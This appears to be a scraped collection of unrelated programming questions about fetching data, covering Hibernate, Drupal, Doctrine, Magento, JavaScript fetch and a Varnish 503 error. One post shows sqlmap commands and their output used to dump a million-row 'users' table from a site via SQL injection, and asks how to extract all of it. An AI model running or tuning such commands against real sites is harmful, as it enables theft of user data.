Hibernate – Fetch from database according to language

I have an MVC app which is aimed to be internationalized. I have a table MY_TABLE containing a field word that I would like to translate in several languages. I created the following model:

CREATE TABLE MY_TABLE(     id int PRIMARY KEY,     -- other fields that don't need to be translated ); CREATE TABLE LANGUAGE(     id VARCHAR(4) PRIMARY KEY -- eg en ); CREATE TABLE MY_TABLE_WORD_TRANSLATION(     id int PRIMARY KEY,     language_id VARCHAR(4),     my_table_id int,     word_translation VARCHAR(100),     FOREIGN KEY(language_id) REFERENCES LANGUAGE(id),     FOREIGN KEY(my_table_id) REFERENCES MY_TABLE(id) ); 

Now with Hibernate I created the corresponding classes.

@Entity @Table(name="LANGUAGE") public class Language {     private String id;      public Language(){}     public Language(String id) {         super();         this.id = id;     }     @Id     @Column(nullable=false)     public String getId() {         return id;     }     public void setId(String id) {         this.id = id;     } }   @Entity @Table(name="MY_TABLE") public class MyTable {     private int id;      public MyTable(){}     public MyTable(int id) {         super();         this.id = id;     }     @GeneratedValue     @Id     public int getId() {         return id;     }     public void setId(int id) {         this.id = id;     } }  @Entity @Table(name="MY_TABLE_WORD_TRANSLATION") public class MyTableWordTranslation {     private int id;     private String translation;     private Language language;     private MyTable myTable;      public MyTableWordTranslation() {}     public RegionNameTranslation(int id, String translation, Language language, MyTable myTable) {         super();         this.id = id;         this.translation = translation;         this.language = language;         this.myTable = myTable;     }     @GeneratedValue     @Id     public int getId() {         return id;     }     public void setId(int id) {         this.id = id;     }     @Column(nullable=false)     public String getTranslation() {         return translation;     }     public void setTranslation(String translation) {         this.translation = translation;     }     @ManyToOne     @JoinColumn(name="language_id")     public Language getLanguage() {         return language;     }     public void setLanguage(Language language) {         this.language = language;     }        @ManyToOne     @JoinColumn(name="my_table_id")     public MyTable getMyTable() {         return myTable;     }     public void setMyTable(MyTable myTable) {         this.myTable = myTable;     } } 

So the question is how to map into MyTable the field MyTableWordTranslation in order to get only the translation I need:

  • Is it in the DAO class, in the HQL queries but then, what query should I write? For now I have SELECT mytable FROM MyTable mytable
  • I tried to map with @OneToMany with a @Where filter, but how can I set a parameter in this filter: @Where(clause="language_id = 'en'")? The language is specified into the GET resquest from the client.

Thanks

Using the fetch() method in database query to get an array

I have a very simple query that does the job, to get a collection of a specific content type’s node id and title, that’s it.

$  connection = \Drupal::database(); $  query = $  connection->select('node_field_data', 'n'); $  query->condition('n.type', 'employee'); $  query->condition('n.status', 1); $  query->fields('n', ['nid', 'title']); $  results = $  query->execute()->fetchAll(); 

And what i get is an array filled with objects (for each individual results) with two properties the nid and title values. But i want to have an single layer/dimension array filled with key => valued pairs (nid => title). Example bellow.

$  results = [   0 = {stdClass} (      nid => 123,      value => Susan Green   ) ]; 

And what i want:

$  results = [   123 => Susan Green,   567 => Bob Young ]; 

I’ve tried fetchAllAssoc, fetchAssoc, etc but either the result is empty or i get something completely opposite of what i want.

Any ideas? without using a parses to convert objects into what i want, that’s what i’ll do if none one can find an appropriate answer.

How to fetch field value via REST

I am using Drupal 8. I have installed the Rest module. I need to do polling so I also installed the Poll module. I created two questions with choices in poll and after that I created a view to show polls in that view with Rest Export enabled.

Now there are 3 fields I am showing in my REST export:

  • Question
  • Choice
  • PollID

currently I have two questions and their choices. Here is how its showing in JSON form.

     [{"question":"which is best city", "choice_target_id":"Delhi, Mumbai, Chennai","id":"1"},     {"question":"Where do you work?", "choice_target_id":"Flat, Hotel, Factory, Shop","id":"2"}]  

But the thing is when I access the REST URL in my browser window where I am logged in it shows all the field as.

      [ {"question":"which is best city",     "choice_target_id":"Delhi, Mumbai, Chennai","id":"1"},     {"question":"Where do you work?",     "choice_target_id":"Flat, Hotel, Factory, Shop","id":"2"} ]  

But when I am not login and when I then call the REST URL from Postman I get this:

[     {         "question": "which is best city",         "choice_target_id": "",         "id": "1"     },     {         "question": "Where do you work?",         "choice_target_id": "",         "id": "2"     } ] 

choice_target_id is blank. What can be the reason of it?

Fetch all the students on the basis of ascending marks

This query fetches all the student name and there ids on basis of topics but i want to get these result on basis of ascending marks … i.e select student_name and ids where student_topic = topic but fetch them in the ascending order of there topic_marks
how and where should i add ->orderby() or ->order()

  $  myTable = $  this->_connection->getTableName('Students');         $  sql = $  this->_connection->select()->from(             ["tn" => $  myTable], array('student_name', 'student_id')         )->where('student_topic = ?', $  topic);         $  result = $  this->_connection->fetchAll($  sql);         return $  result; 

Force ‘fetch joined’ relations to include IDENTITY of their ManyToOne relations using HYDRATE_ARRAY?

I have a query in which I’m joining a number of tables to my original Person entity. A Person may have multiple Child relations (OneToMany), and a Child may have a School they go to (ManyToOne). Problem is, I don’t need the entire School entity that connects to each child, only their id, which is already stored on Child.

I’m using a Paginator to iterate through the results and I use HYDRATE_ARRAY to reduce overhead of the ORM parsing data to entity objects. But the id fields of unfetched relations are not returned this way, and thus, the School id isn’t either.

I may join the School entity too, but since the identity is already stored on the Child records, I don’t see why I should further reduce performance by having the database join another table. Fetching results as entity objects would also solve the problem, but also at the cost of performance. How can I get the id to apper the results without having to unnecessarily join the the School entity or having to hydrate the results as objects?

$  query = $  em->getRepository(Entity\Person::class)->createQueryBuilder('p');  $  query   ->select([     'p as person',     'w.name as workplace_name',     'c',   ])   ->leftJoin('p.children', 'c') //Entity\Child   ->leftJoin('p.workplace', 'w') //Entity\Company   //...  ; $  paginator = new Paginator($  query); $  paginator->getQuery()   ->setHydrationMode(\Doctrine\ORM\Query::HYDRATE_ARRAY); 

How trying to fetch limited entries using sqlmap?

I have 1 table (eg: users) with more than 1 million entries. But when i using Sqlmap try to --start and --stop it’s not Working.

For example the query is:

sqlmap.py -u http://abcd.com/index.php?id=1 -D data -T tables --start 1100000 --stop 1200000 --dump 

I have tried many times but only get results like this:

[03:35:01] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique [03:35:01] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex' 

If i query:

sqlmap.py -u http://abcd.com/index.php?id=1 -D data -T tables --dump 

Results like this:

[03:47:25] [INFO] the back-end DBMS is MySQL 

web application technology: Apache, PHP 5.5.38
back-end DBMS: MySQL >= 5.0.12
[03:47:25] [INFO] fetching columns for table 'users' in database 'xxxxxx'
[03:47:26] [INFO] fetching entries for table 'users' in database 'xxxxxx'
[03:48:19] [ERROR] detected invalid data for declared content encoding 'gzip' ('size too large')
[03:48:19] [WARNING] turning off page compression
[03:48:45] [WARNING] large response detected. This could take a while

How can i dump all data? Thanks for watching.!

Data read vs instruction fetch

Why it is important for computer’s security to differenciate between data read and instruction fetch memory access.

As far as I know the processor have to know what is instruction and what is not just to corectlly execute a program, but it’s hard for me to think of any security reasons.

How to fetch product data into custom .phtml block on product view

I’m having trouble trying to fetch Product data such as price, SKU etc into a custom .phtml file referenced as a block within my catalog_product_view.xml file.

Here’s what I’m struggling with… I’m able to fetch product data using:

$  product = $  block->getProduct(); 

within a custom product tab under: Magento_Catalog/templates/product/tabs/instructions.phtml referenced as:

<block class="Magento\Catalog\Block\Product\View" name="instructions.tab" template="product/tabs/instructions.phtml" group="detailed_info">                     <arguments>                         <argument translate="true" name="title" xsi:type="string">Instructions</argument>                     </arguments>                 </block> 

within my catalog_product_view.xml file.

However, when I try to pull through product information in a template block: Magento_Catalog/templates/html/myblock.phtml it doesn’t work.

The block is referenced as:

<block class="Magento\Framework\View\Element\Template" group="detailed_info" name="callout" template="Magento_Catalog::html/left-callout.phtml" /> 

Many thanks

Wrapping fetch(), preserve promise-based API for outer function

One of my react component’s methods is using an async fetch() internally. After fetching the response from the server, it is being converted to JSON, then I perform a check on that JSON string. Finally, I return the result wrapped in a new promise. Here is the code:

fetchCalendarData(offset, length) {     return fetch(this.props.Uri + '?offset=' + offset + '&length=' + length)     .then(response => response.json())     .then((result) => {         if (result.hasOwnProperty('redirect_to_login') && result.redirect_to_login == true) {             window.location.reload(window.globalAppState.base_url + "/login");         }         return Promise.resolve(result);     })     .catch(() => {         return Promise.reject('FAILURE');     }); } 

When I call the method, I do it like this:

this.fetchCalendarData(0, 6).then((fetched_calendar_data) => {     this.calendar_data = fetched_calendar_data; }); 

The code works, but I am not familiar with promise based flow at all, and those 3 return statements look a little weird to me. I also read about the promise constructor antipattern but am not sure if that applies here. And, is it necessary to return the result wrapped in a new promise, at all?

Error 503 Backend fetch failed

I have some problem with ngnix varnish configuration. When I connect https://example.com I got this messages:

Error 503 Backend fetch failed Backend fetch failed

I’m using hitch for configuration and conf file looks like this

/etc/hitch/hitch.conf

## Basic hitch config for use with Varnish and Acmetool  # Listening frontend = "[*]:443" ciphers  = "EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH"  # Send traffic to the Varnish backend using the PROXY protocol backend        = "[::1]:6086" write-proxy-v2 = on  # If you run Varnish 4.0 use this instead #backend        = "[::1]:6081" #write-proxy-v2 = off   # List of PEM files, each with key, certificates and dhparams pem-file = "/var/lib/acme/live/example.com/haproxy"  # Set uid/gid after binding a socket # Uncomment these on CentOS/RHEL #user = "hitch" #group = "hitch" 

and I’m using acmetool and conf file looks like this /etc/varnish/acmetool.vcl

 # Forward challenge-requests to acmetool, which will listen to port 402 # when issuing lets encrypt requests  backend acmetool {    .host = "127.0.0.1";    .port = "402"; }  sub vcl_recv {      if (req.url ~ "^/.well-known/acme-challenge/") {         set req.backend_hint = acmetool;  return(pass);      } } 

My ports (output of “netstat -peanut” )

    Proto Recv-Q Send-Q Local Address           Foreign Address         State       User       Inode      PID/Program name tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      0          18694      836/hitch tcp        0      0 0.0.0.0:6081            0.0.0.0:*               LISTEN      0          51753      2816/varnishd tcp        0      0 127.0.0.1:6082          0.0.0.0:*               LISTEN      0          51790      2816/varnishd tcp        0      0 142.93.244.9:443        212.2.212.133:62429     TIME_WAIT   0          0          - tcp        0      0 142.93.244.9:443        212.2.212.133:62426     FIN_WAIT2   0          0          - tcp        0      0 142.93.244.9:443        212.2.212.133:62427     FIN_WAIT2   0          0          - tcp6       0      0 :::443                  :::*                    LISTEN      0          18695      836/hitch tcp6       0      0 :::6081                 :::*                    LISTEN      0          51754      2816/varnishd tcp6       0      0 ::1:6086                :::*                    LISTEN      0          51755      2816/varnishd tcp6       0      0 ::1:6086                ::1:33656               TIME_WAIT   0          0          - tcp6       0      0 ::1:6086                ::1:33660               TIME_WAIT   0          0          -